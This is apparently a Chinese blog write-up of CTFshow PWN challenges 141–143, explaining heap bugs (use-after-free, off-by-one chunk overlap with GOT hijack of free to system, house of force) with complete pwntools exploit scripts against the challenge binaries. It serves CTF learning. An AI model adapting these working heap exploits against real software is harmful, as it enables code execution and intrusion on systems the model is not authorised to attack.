网络安全学习 UAF CTFshow PWN 141--待更新(堆漏洞) Le7 2026-01-01 2026-03-17 141–基础UAF 正常菜单
进入add函数,第一个堆块在1行被申请,8个字节,在22行被赋值一个printf作用的函数 32位程序系统还会分配一个0x8字节的管理头,所以在这里系统每次会先分配0x10字节
然后第二个堆块是让用户输入大小在27行
接着就是del函数,这里就存在uaf漏洞,释放了堆块单数没将堆块滞空,可利用
print函数正常调用
存在后门函数
目的是将add函数中的print覆盖为后门并执行,
先申请两个堆块,此时会先申请一个上面说到的0x10的控制块,然后再申请自己设定的0x20加上0x8管理头,对齐之后为0x30字节的堆空间,这个空间内随便填入,重点是0x10的控制块,需要将这个控制块覆盖为后门函数。
随后释放这两个堆块,由于LIFO原则,chunk1的0x10控制块在chunk0的上方
Tcache bin for size 0x10排队状态:顶部[ C1 ] -> [ C0 ]底部
后面add(0x8,p(backdoor))时候,会按部就班先申请那个带有管理头0x10大小的控制块
此时c1被0x10的tcache bin中掏出来
然后执行分配0x8时候因为需要对齐,对齐之后又是0x10,这时候会将bin中的c0掏出来
然后将c0中写入后门最后调用print函数
1 2 3 4 add(0x20 ,b'aaaa' ) add(0x20 ,b'bbbb' ) delete(0 ) delete(1 )
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28186 ) elf = ELF('./pwn' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recvuntil('\xf7' )[-4 :]) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) def cmd (x ): ru(b'choice :' ) sl(str (x)) def add (size,data ): cmd(1 ) ru(b'Note size :' ) sl(str (size)) ru(b'Content :' ) sl(data) def delete (index ): cmd(2 ) ru(b'Index :' ) sl(str (index)) def show (index ): cmd(3 ) ru(b'Index :' ) sl(str (index)) add(0x20 ,b'aaaa' ) add(0x20 ,b'bbbb' ) delete(0 ) delete(1 ) add(0x8 ,p32(0x8049684 )) pause() show(0 ) inter()
142–off-by-one单字节溢出堆块重叠+GOT劫持 64位程序
正常菜单类型,没给后门
crate函数,依旧申请了两个chunk
第一个在30行被赋值为size,在24行在第一个chunk+8的位置放置了第二个chunk指针,后面在32行被读取
edit函数
在第19行读入函数中,第二个参数为读入的长度,但是在后面多加了1个字节长度,出现了单字节溢出漏洞(off-by-one)
show函数
输出函数,在18行输出第一个chunk储存的第二个chunk的指针,以格式化字符串的形式打印出第一个chunk中储存的地址,出现了泄露地址,想到got表劫持
del函数,存在经典uaf
整理思路,存在uaf,单字节溢出可以导致堆块重叠,泄露指针可以覆盖为got表泄露libc,
劫持free函数got表为system,然后主动触发free函数也就是sys
先申请两个堆块,这里可以看到一共出现4个堆块,大小都为0x20
第一个申请0x18是为了卡这个阈值,因为如果申请0x18字节,系统还会给你分配0x20空间,为了将这个chunk0填满
从而利用后面的单字节溢出漏洞,
申请大小 (Request)
计算公式 (Req + Header)
最终堆块大小 (Chunk Size)
备注
8 (控制块)
$8 + 16 = 24$
0x20
触发最小尺寸限制
0x10 (16字节)
$16 + 16 = 32$
0x20
刚好填满
0x18 (24字节)
$24 + 16 = 40$
0x20
复用了下一个块的 prev_size
0x19 (25字节)
$25 + 16 = 41$
0x30
超过复用极限,必须向上对齐
1 2 add(0x18 ,b'aaaa' ) add(0x10 ,b'bbbb' )
这里修改chunk0,前面填满18个字节,后面还有一个单字节的溢出,可以覆盖下面堆块的size部分
1 edit(0 , "/bin/sh\x00" + "a" * 0x10 + "\x41" )
这里看到chunk1的大小已经变成0x40字节
释放之后,再申请0x30,的堆块就会从bin中掏出这个0x40字节的堆块,前面先填满32字节,在0x40字节时候覆盖为0x30,是因为这是原本堆块的size,防止崩溃,就还将其大小覆盖上去,后面将指针覆盖为free函数的got地址。
后面格式化字符串会将这个指针打出来,也就泄露了free的got值可以算libc基址打sys
1 add(0x30 , p64(elf.got['free' ]) * 4 + p64(0x30 ) + p64(elf.got['free' ]))
将chunk1,free的got指针改为system函数的指针
最后释放chunk0,此时free已经被覆盖为system地址,free就等于system,也就是system(0),而0中的内容在上面已经被覆盖为binsh
1 2 edit(1 ,p64(system)) delete(0 )
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28167 ) elf = ELF( '/home/sirius/桌面/winDesktop/Share/download/pwn(1)' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) def cmd (x ): p.recvuntil(b'choice :' ) p.sendline(str (x)) def add (size,data ): cmd(1 ) p.recvuntil(b'Size of Heap : ' ) p.sendline(str (size)) p.recvuntil(b'Content of heap:' ) p.sendline(data) def delete (index ): cmd(4 ) p.recvuntil(b'Index :' ) p.sendline(str (index)) def show (index ): cmd(3 ) p.recvuntil(b'Index :' ) p.sendline(str (index)) def edit (index,data ): cmd(2 ) p.recvuntil(b'Index :' ) p.sendline(str (index)) p.recvuntil(b'Content of heap : ' ) p.send(data) add(0x18 ,b'aaaa' ) add(0x10 ,b'bbbb' ) edit(0 , "/bin/sh\x00" + "a" * 0x10 + "\x41" ) delete(1 ) add(0x30 , p64(elf.got['free' ]) * 4 + p64(0x30 ) + p64(elf.got['free' ])) show(1 ) p.recvuntil(b'Content : ' ) free_addr=u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (free_addr))libc=LibcSearcher('free' ,free_addr) libc_base=free_addr-libc.dump('free' ) system=libc_base+libc.dump('system' ) edit(1 ,p64(system)) delete(0 ) p.interactive()
143–house of force
add函数正常申请堆块,让用户输入大小,申请多个堆块,list储存着每个堆块的大小
edit函数存在漏洞,在输入大小的时候没有检测大小机制,导致可以造成堆溢出
del函数正常,没有存在uaf漏洞,free后滞空了
程序存在后门
这里执行case 5的时候会执行v4[1],所以就要想办法把v4[1]覆盖为后门并执行
这里先申请一个0x30的堆块,看v4和top chunk的距离
这里看top chunk的size在指针+8字节的位置,计算一下后面用户申请的堆块到top chunk size的距离,计算后面需要填充多少字节能覆盖size
接着调用edit进行覆盖,前面先填充0x38个垃圾字节后面大小覆盖为一个极大值0xffffffffffffffff
1 edit(0 ,0x50 ,b'a' *(0x38 )+p64(0xffffffffffffffff ))
由于上面已经计算过top chunk和v4[1]的距离,相差0x60字节,目的再申请一个堆块将chunk移动到v4[1]这个位置的chunk,能这么做是因为堆块申请的机制是简单的指针加减运算,当申请的堆块小于top chunk size时候,系统会直接从top chunk去进行分配,分配的机制就是指针的加减,如果大于size系统则会去系统去找新内存。
这里申请负数是要把新申请这个堆块通过指针减法的形式移动到v4[1]这个位置,实现堆块重叠,size是无符号类型,负数系统会判定他为一个极大的正数,刚刚覆盖top chunk size为一个极大的数就起到了作用。
为什么要0x60+0x8?
数学推导公式:
假设:
当前 Top Chunk 地址 = old_top
目标地址(我们要覆盖的 v4)= target_addr
我们需要申请的 Chunk 实际大小(对齐后)= nb
公式是:target_addr = old_top + nb
推导出:nb = target_addr - old_top
在你的题目里,这个差值计算出来是 -0x60。但注意,nb 是 对齐后的最终大小 。
为什么申请时要减 8?
进入 malloc(req) 后,glibc 会把你的 req 转换成 nb:
nb = (req + SIZE_SZ + MALLOC_ALIGN_MASK) & \sim MALLOC_ALIGN_MASK
在 64 位下:
SIZE_SZ = 8
MALLOC_ALIGN_MASK = 15 (0xF)
所以:nb = (req + 8 + 15) & \sim 15
如果你直接申请 -0x60,经过公式计算:
nb = (-0x60 + 8 + 15) & \sim 15 = (-0x49) & \sim 15 = -0x50(向上取整对齐)
这会导致 Top Chunk 少移动了 0x10,没对准!
所以你要反推:
如果你想要 nb = -0x60,那么你需要令 req + 8 在对齐前后的结果为 -0x60
最稳妥的办法就是让 req + 8 = -0x60,即 req = -0x60 - 8 。
1 2 3 size=-(0x60 +0x8 ) pause() add(str (size),b'bbbb' )
移动成功了,现在填入后门,调试看下,v4的堆块被成功填入后门地址
1 add(0x10 ,p64(0x400d83 )*2 )
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = process('./pwn' ) elf = ELF( './pwn' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) def cmd (x ): p.recvuntil(b'Your choice:' ) p.sendline(str (x)) def add (size,data ): cmd(2 ) p.recvuntil(b'Please enter the length:' ) p.sendline(str (size)) p.recvuntil(b'Please enter the name:' ) p.sendline(data) def delete (index ): cmd(4 ) p.recvuntil(b'Please enter the index:' ) p.sendline(str (index)) def show (): cmd(1 ) def edit (index,size,data ): cmd(3 ) p.recvuntil(b'Please enter the index:' ) p.sendline(str (index)) p.recvuntil(b'Please enter the length of name:' ) p.sendline(str (size)) p.recvuntil(b'Please enter the new name:' ) p.sendline(data) add(0x30 ,b'aaaa' ) edit(0 ,0x50 ,b'a' *(0x38 )+p64(0xffffffffffffffff )) size=-(0x60 +0x8 ) pause() add(str (size),b'bbbb' ) pause() add(0x10 ,p64(0x400d83 )*2 ) pause() cmd(5 ) p.interactive()